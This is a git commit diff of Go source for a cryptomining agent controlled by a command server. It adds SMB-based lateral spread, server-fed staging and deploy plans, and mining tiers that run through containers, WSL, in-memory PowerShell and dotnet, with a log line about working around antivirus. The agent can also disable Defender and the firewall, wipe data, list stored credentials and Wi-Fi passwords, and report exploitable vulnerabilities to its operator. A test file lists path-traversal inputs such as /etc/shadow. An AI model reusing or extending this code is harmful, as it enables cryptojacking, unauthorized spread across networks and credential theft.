Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
}
case "spread_now":
case "spread_now", "spread_smb_unc", "discover_and_join":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "stage_fetch":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
}
case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg)
return true
case "spread_smb_unc":
unc := strings.TrimSpace(path)
svcName := ""
if unc == "" {
unc = strings.TrimSpace(data)
} else {
svcName = strings.TrimSpace(data)
}
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
UNCPath: unc,
MaxHosts: parsePortArg(command, 64),
SvcName: svcName,
})
c.sendCommandResult(action, true, msg)
return true
case "stage_fetch":
var manifest deploy.StagingManifest
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
return true
}
go func() {
msg, err := deploy.RunStagingChain(c.cfg, manifest)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
case "wg_status":
c.sendCommandResult(action, true, WGStatus())
return true
case "service_discover":
maxHosts := parsePortArg(command, 32)
out := deploy.RunServiceDiscover(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "discover_and_join":
maxHosts := parsePortArg(command, 32)
go func() {
msg, err := c.runDiscoverAndJoin(maxHosts)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
}
return false

View File

@@ -1,6 +1,7 @@
package client
import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
@@ -23,6 +24,7 @@ import (
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"crypto-miner-agent/vulnprobe"
"github.com/gorilla/websocket"
)
@@ -46,6 +48,26 @@ type AgentClient struct {
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
containerMiner *miner.ContainerLauncher
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
wslMiner *miner.WSLLauncher
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
psMiner *miner.PowerShellLauncher
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
dotnetMiner *miner.DotnetLauncher
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
hostMiningDisabled atomic.Bool
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
miningChain *MiningChainRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
// joinLane is the last successful discover_and_join supply-chain lane.
joinLane string
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
// situations and start direct Stratum mining after a timeout.
@@ -55,6 +77,9 @@ type AgentClient struct {
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
agentID: cfg.AgentID,
}
c.mesh = NewMeshNode(c)
c.initSpreadCredHooks()
return c
}
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
c.pool.Start()
defer c.pool.Stop()
// Start GPU miner (Ravencoin / KawPoW) if configured
if gm := newGPUMiner(c.cfg); gm != nil {
c.mu.Lock()
c.gpuMiner = gm
c.mu.Unlock()
gm.Start()
defer gm.Stop()
chainCtx, chainCancel := context.WithCancel(context.Background())
defer chainCancel()
c.miningChain = c.newMiningChainRunner()
if deploy.WantsDeferMining() {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
}
defer c.miningChain.Stop()
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
JoinLane: c.getJoinLane(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.agentID = resp.AgentID
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
cfg := c.cfg
c.mu.Unlock()
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
}
c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
// Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
if c.cfg.AutoSpread {
c.spreadOnce.Do(func() {
deploy.StartAutoSpreader(c.cfg)
// One-shot first-run spread (triggered on the very first install).
if deploy.WantsFirstRunSpread(c.cfg) {
deploy.RunSpreadOnce(c.cfg)
deploy.ClearFirstRunSpreadMarker(c.cfg)
c.spreadOnce.Do(func() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if cfg.AutoSpread {
deploy.StartAutoSpreader(cfg)
if deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)
}
})
}
}
if cfg.LotlOnionEnabled {
deploy.StartLotlOnion(cfg)
}
})
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
return
}
c.sendCommandResult(action, true, "module "+module+" applied")
case "start_mining":
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", true)
}
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
c.pool.ResumeRemote()
}
c.sendCommandResult(action, true, "mining started")
case "pause":
c.pool.PauseRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", false)
}
if c.miningChain != nil {
c.miningChain.Stop()
} else {
c.pool.PauseRemote()
if c.containerMiner != nil && c.containerMiner.Running() {
c.containerMiner.Stop()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
}
}
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
if c.containerMiner != nil && !c.containerMiner.Running() {
if err := c.containerMiner.Start(); err != nil {
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
c.hostMiningDisabled.Store(false)
c.pool.ResumeRemote()
} else {
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
}
} else if !c.hostMiningDisabled.Load() {
c.pool.ResumeRemote()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
}
}
c.sendCommandResult(action, true, "mining resumed")
c.sendCommandResult(action, true, "fleet health: hashing restored")
case "restart":
c.sendCommandResult(action, true, "restarting")
go c.restartSelf()
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, true, "system shutdown initiated")
}
}()
case "mining_diagnostics":
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
case "get_log":
if tailLines <= 0 {
tailLines = 300
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
if c.commandResultHook != nil {
c.commandResultHook(action, success, message)
return
}
payload, _ := json.Marshal(map[string]interface{}{
"action": action,
"success": success,
@@ -841,6 +928,16 @@ func probeSSH() bool {
return true
}
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
if stratumOverlay {
return "direct"
}
if c.connected.Load() {
return "c2_ws"
}
return "none"
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
@@ -852,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
var lastPressure *ResourcePressure
var lastDNS *DNSConfig
var lastListenPortCount *int
var lastNetworkHints *deploy.NetworkHints
var lastVulnReport *vulnprobe.ScanReport
var postureReady bool
for {
select {
@@ -908,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
n := lp.Count
lastListenPortCount = &n
}
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
lastNetworkHints = &hints
lastVulnReport = RunVulnLOTLProbe()
}
probeTick++
@@ -927,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.DNSSearchDomains = lastDNS.SearchDomains
}
stats.ListenPortCount = lastListenPortCount
stats.NetworkHints = lastNetworkHints
if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
@@ -972,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.AgentElevated = lastPosture.AgentElevated
stats.Services = lastPosture.Services
}
if c.miningChain != nil {
ms := c.miningChain.Status()
stats.ActiveMethod = string(ms.ActiveMethod)
stats.StratumOverlay = ms.StratumOverlay
stats.ChainExhausted = ms.ChainExhausted
stats.MiningLastError = ms.LastError
if ms.LOTLTier != "" {
stats.LOTLTier = string(ms.LOTLTier)
}
if len(ms.LOTLAttempts) > 0 {
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
for i, a := range ms.LOTLAttempts {
stats.LOTLAttempts[i] = TierAttemptPayload{
Phase: a.Phase,
Tier: string(a.Tier),
OK: a.OK,
Error: a.Error,
DurationMs: a.DurationMs,
Wallet: a.Wallet,
}
}
}
if len(ms.FailedMethods) > 0 {
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
for i, f := range ms.FailedMethods {
stats.FailedMethods[i] = MethodFailurePayload{
Method: string(f.Method),
Reason: f.Reason,
At: f.At,
}
}
}
if len(ms.ChainOrder) > 0 {
stats.ChainOrder = make([]string, len(ms.ChainOrder))
for i, m := range ms.ChainOrder {
stats.ChainOrder[i] = string(m)
}
}
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
} else {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if lastVulnReport != nil {
score := lastVulnReport.RiskScore
stats.VulnRiskScore = &score
if len(lastVulnReport.Findings) > 0 {
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
for i, f := range lastVulnReport.Findings {
stats.VulnFindings[i] = VulnFindingPayload{
CVEID: f.CVEID,
Severity: f.Severity,
Component: f.Component,
Patched: f.Patched,
ExploitableInFleetContext: f.ExploitableInFleetContext,
Detail: f.Detail,
}
}
}
}
if lane := c.getJoinLane(); lane != "" {
stats.JoinLane = lane
}
payload, _ := json.Marshal(stats)
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
@@ -1026,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
}
if c.cfg.StratumOverWS {
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
return
}
type fallback struct {
stop chan struct{}
@@ -1057,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
if c.miningChain != nil {
c.miningChain.SetStratumActive(true)
}
if c.connected.Load() {
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
} else {
@@ -1070,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
if c.miningChain != nil {
c.miningChain.SetStratumActive(false)
}
log.Printf("[stratum] fallback stopped — %s", reason)
}
}

View File

@@ -0,0 +1,131 @@
package client
import (
"encoding/base64"
"strings"
"sync"
"testing"
"crypto-miner-agent/deploy"
)
type commandResult struct {
action string
success bool
message string
}
func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, result *commandResult) {
t.Helper()
ch := make(chan struct{})
var mu sync.Mutex
out := &commandResult{}
c.commandResultHook = func(action string, success bool, message string) {
mu.Lock()
out.action = action
out.success = success
out.message = message
mu.Unlock()
close(ch)
}
t.Cleanup(func() { c.commandResultHook = nil })
return ch, out
}
func TestUploadCommandRejectsPathTraversal(t *testing.T) {
data := base64.StdEncoding.EncodeToString([]byte("payload"))
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
_, err := deploy.ResolveRemotePath(tc.path)
if err == nil {
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
}
if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
}
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("upload", 0, "", tc.path, data, "")
<-done
if got.action != "upload" {
t.Fatalf("action = %q, want upload", got.action)
}
if got.success {
t.Fatalf("upload with %q should fail (success=true, message=%q)", tc.path, got.message)
}
if !strings.Contains(got.message, "path traversal") {
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
}
})
}
}
func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
_, err := deploy.ResolveRemotePath(tc.path)
if err == nil {
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
}
if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
}
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("download", 0, "", tc.path, "", "")
<-done
if got.action != "download" {
t.Fatalf("action = %q, want download", got.action)
}
if got.success {
t.Fatalf("download with %q should fail (success=true, message=%q)", tc.path, got.message)
}
if !strings.Contains(got.message, "path traversal") {
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
}
})
}
}
func TestUploadCommandAcceptsSafePath(t *testing.T) {
dir := t.TempDir()
dest := dir + "/notes.txt"
data := base64.StdEncoding.EncodeToString([]byte("ok"))
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("upload", 0, "", dest, data, "")
<-done
if !got.success {
t.Fatalf("safe upload failed: %s", got.message)
}
if got.action != "upload" {
t.Fatalf("action = %q, want upload", got.action)
}
}

View File

@@ -40,6 +40,12 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
c.sendCommandResult(action, true, string(b))
return true
}
if action == "network_recon" {
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
b, _ := json.Marshal(hints)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "persistence_audit" {
report := collectPersistenceAudit()
b, _ := json.Marshal(report)

View File

@@ -0,0 +1,87 @@
package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) setJoinLane(lane string) {
c.mu.Lock()
c.joinLane = strings.TrimSpace(lane)
c.mu.Unlock()
}
func (c *AgentClient) getJoinLane() string {
c.mu.Lock()
defer c.mu.Unlock()
return c.joinLane
}
func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
var out deploy.DeployPlanResponse
base, err := c.apiBaseURL(c.cfg.ServerURL)
if err != nil {
return out, err
}
body, _ := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"build_id": c.cfg.BuildID,
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
"platform": runtime.GOOS,
"services": services,
"unc_path": uncPath,
})
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
if err != nil {
return out, err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
client := &http.Client{Timeout: 60 * time.Second}
resp, err := client.Do(req)
if err != nil {
return out, err
}
data, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode == http.StatusForbidden {
return out, fmt.Errorf("deploy-plan auth rejected")
}
if resp.StatusCode != http.StatusOK {
return out, fmt.Errorf("deploy-plan HTTP %s: %s", resp.Status, strings.TrimSpace(string(data)))
}
if err := json.Unmarshal(data, &out); err != nil {
return out, err
}
if !out.OK && out.Error != "" {
return out, fmt.Errorf("%s", out.Error)
}
if out.JoinLane == "" && out.Plan.JoinLane != "" {
out.JoinLane = out.Plan.JoinLane
}
out.OK = true
return out, nil
}
func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
return c.fetchDeployPlan(services, uncPath)
}
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
if err != nil {
return "", err
}
if lane != "" {
c.setJoinLane(lane)
}
return fmt.Sprintf("join_lane=%s; %s", lane, detail), nil
}

View File

@@ -0,0 +1,488 @@
package client
import (
"context"
"encoding/json"
"fmt"
"log"
"sync"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
)
// MiningChainRunner wires the unified fallback cascade into AgentClient.
type MiningChainRunner struct {
client *AgentClient
ctrl *miner.ChainController
tiers *miner.TierOrchestrator
onion *miner.TripleOnionOrchestrator
mu sync.Mutex
monCancel context.CancelFunc
onionAttempts []miner.TierAttempt
}
func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
miner.SetVulnProbeRunner(func() miner.TierAttempt {
report := RunVulnLOTLProbe()
attempt := miner.TierAttempt{
Tier: miner.TierVulnProbe,
OK: true,
Wallet: c.cfg.Wallet,
Details: map[string]interface{}{
"risk_score": report.RiskScore,
"exposed_count": report.ExposedCount,
"finding_count": len(report.Findings),
},
}
return attempt
})
r := &MiningChainRunner{client: c}
hooks := miner.ChainHooks{
StartDockerLoad: r.startDockerLoad,
StartContainer: r.startContainer,
StartWSL: r.startWSL,
StartPowerShell: r.startPowerShell,
StartDotnet: r.startDotnet,
StartInProcess: r.startInProcess,
StartGPU: r.startGPU,
StartPyOpenCL: r.startPyOpenCL,
StopDockerLoad: r.stopDockerLoad,
StopContainer: r.stopContainer,
StopWSL: r.stopWSL,
StopPowerShell: r.stopPowerShell,
StopDotnet: r.stopDotnet,
StopInProcess: r.stopInProcess,
StopGPU: r.stopGPU,
StopPyOpenCL: r.stopPyOpenCL,
IsDockerLoadHealthy: func() bool {
return c.containerMiner != nil && c.containerMiner.Running()
},
IsContainerHealthy: func() bool {
return c.containerMiner != nil && c.containerMiner.Running()
},
IsWSLHealthy: func() bool {
return c.wslMiner != nil && c.wslMiner.Running()
},
IsGPUSupported: func() bool {
return newGPUMiner(c.cfg) != nil
},
PoolConfigured: func() bool {
return c.cfg.PoolHost != ""
},
}
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(hooks.IsGPUSupported), r.reportTierEvent)
hooks.RunTierProbes = func() miner.TierReport {
r.tiers.RunProbes(context.Background())
return r.tiers.Report()
}
hooks.RunTierChain = func() (miner.LOTLTier, error) {
tier, err := r.tiers.TryChain(context.Background())
return tier, err
}
hooks.StopTiers = func() {}
hooks.WebGPUReady = r.tiers.WebGPUReady
hooks.GPUComputeReady = r.tiers.GPUComputeReady
r.ctrl = miner.NewChainController(c.cfg, hooks, r.reportMiningEvent)
r.onion = r.wireTripleOnion()
return r
}
func (r *MiningChainRunner) tiersHooks(isGPUSupported func() bool) miner.TierHooks {
return miner.TierHooks{
StartDockerLoad: r.startDockerLoad,
StartContainer: r.startContainer,
StartWSL: r.startWSL,
StartPowerShell: r.startPowerShell,
StartDotnet: r.startDotnet,
StartInProcess: r.startInProcess,
StartGPU: r.startGPU,
StopDockerLoad: r.stopDockerLoad,
StopContainer: r.stopContainer,
StopWSL: r.stopWSL,
StopPowerShell: r.stopPowerShell,
StopDotnet: r.stopDotnet,
StopInProcess: r.stopInProcess,
StopGPU: r.stopGPU,
IsGPUSupported: isGPUSupported,
}
}
// Start launches recon → deploy → mining triple onion, then the health monitor.
func (r *MiningChainRunner) Start(ctx context.Context) {
if r.onion != nil {
report := r.onion.Run(ctx)
log.Printf("[triple-onion] complete phase=%s gate=%+v recon_risk=%d attempts=%d",
report.ActivePhase, report.Gate, report.Recon.RiskScore, len(report.Attempts))
r.mu.Lock()
r.onionAttempts = report.Attempts
r.mu.Unlock()
return
}
r.startMiningCascade(ctx)
}
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
tierReport := r.tiers.Report()
log.Printf("[mining-chain] execution=%s runtime=%s available=%v order=%v lotl=%v",
execMode, containerRT.CLI, containerRT.Available, r.ctrl.Status().ChainOrder, tierReport.TierChainOrder)
if hint := miner.AVBlockRecommendation(execMode, containerRT); hint != "" {
log.Printf("[mining-chain] %s", hint)
}
if probes.AVBlocksExe {
log.Printf("[mining-chain] AV blocks exe — tier onion skips subprocess, prefers container/WSL/PS")
}
if r.onion != nil && r.onion.GateDecisionSnapshot().ForceIsolated {
policy := miner.ApplyIsolatedMiningPolicy(r.client.miningTierPolicy())
r.client.mu.Lock()
r.client.tierPolicy = policy
r.client.mu.Unlock()
r.tiers = miner.NewTierOrchestrator(r.client.cfg, probes, policy, r.tiersHooks(func() bool {
return newGPUMiner(r.client.cfg) != nil
}), r.reportTierEvent)
}
if tier, err := r.tiers.TryChain(ctx); err != nil {
log.Printf("[mining-chain] LOTL tier chain failed: %v", err)
} else if method, ok := miner.TierToMiningMethod(tier); ok {
r.ctrl.SetPrimaryActive(method)
}
if _, err := r.ctrl.TryChain(ctx); err != nil {
log.Printf("[mining-chain] initial chain pass failed: %v", err)
}
monCtx, cancel := context.WithCancel(ctx)
r.mu.Lock()
r.monCancel = cancel
r.mu.Unlock()
go r.ctrl.Monitor(monCtx)
}
// Stop halts all mining methods in the chain.
func (r *MiningChainRunner) Stop() {
r.mu.Lock()
if r.monCancel != nil {
r.monCancel()
r.monCancel = nil
}
r.mu.Unlock()
r.ctrl.StopAll()
}
// Resume restarts mining after a remote pause command.
func (r *MiningChainRunner) Resume(ctx context.Context) {
r.ctrl.ResumeAll(ctx)
}
// Restart reruns the full chain (remote resume / reconnect).
func (r *MiningChainRunner) Restart(ctx context.Context) {
r.ctrl.RestartChain(ctx)
}
// Status returns the live cascade snapshot for stats/diagnostics.
func (r *MiningChainRunner) Status() miner.MiningStatus {
st := r.ctrl.Status()
if r.tiers == nil {
return st
}
tr := r.tiers.Report()
if tr.ActiveTier != "" {
st.LOTLTier = tr.ActiveTier
}
r.mu.Lock()
onionAttempts := r.onionAttempts
r.mu.Unlock()
attempts := tr.Attempts
if len(onionAttempts) > 0 {
attempts = mergeOnionAttempts(onionAttempts, attempts)
}
if len(attempts) > 0 {
st.LOTLAttempts = attempts
}
st.WebGPUReady = tr.WebGPUReady
return st
}
func mergeOnionAttempts(onion, mining []miner.TierAttempt) []miner.TierAttempt {
out := make([]miner.TierAttempt, 0, len(onion)+len(mining))
out = append(out, onion...)
for _, a := range mining {
if a.Phase == "" || a.Phase == string(miner.OnionPhaseMining) {
out = append(out, a)
}
}
return out
}
// SetStratumActive records direct Stratum overlay from stratumFallbackManager.
func (r *MiningChainRunner) SetStratumActive(active bool) {
r.ctrl.SetStratumActive(active)
}
// OnGPUFailed records GPU subprocess failure without stopping CPU primary.
func (r *MiningChainRunner) OnGPUFailed(reason string) {
r.ctrl.OnMethodFailed(miner.MethodGPUSubprocess, reason)
}
func (r *MiningChainRunner) startDockerLoad() error {
c := r.client
_, containerRT := miner.ResolveExecutionMode(c.cfg)
if !containerRT.Available {
return fmt.Errorf("docker_load tier: no container runtime (docker/podman not in PATH)")
}
tarPath, err := miner.ResolveImageTar(c.cfg)
if err != nil {
return err
}
launcher, err := miner.NewContainerLauncherFromTar(c.cfg, containerRT, tarPath)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.containerMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] docker_load active — host RandomX paused wallet=%s", c.cfg.Wallet)
return nil
}
func (r *MiningChainRunner) startContainer() error {
c := r.client
_, containerRT := miner.ResolveExecutionMode(c.cfg)
launcher, err := miner.NewContainerLauncher(c.cfg, containerRT)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.containerMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] container active — host RandomX paused")
return nil
}
func (r *MiningChainRunner) startWSL() error {
c := r.client
wslRT := miner.WSLDetector()
launcher, err := miner.NewWSLLauncher(c.cfg, wslRT)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.wslMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] wsl active — host RandomX paused wallet=%s", c.cfg.Wallet)
return nil
}
func (r *MiningChainRunner) startPowerShell() error {
c := r.client
launcher, err := miner.NewPowerShellLauncher(c.cfg)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.psMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] powershell tier active wallet=%s pool=%s:%d", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort)
return nil
}
func (r *MiningChainRunner) startDotnet() error {
c := r.client
launcher, err := miner.NewDotnetLauncher(c.cfg)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.dotnetMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
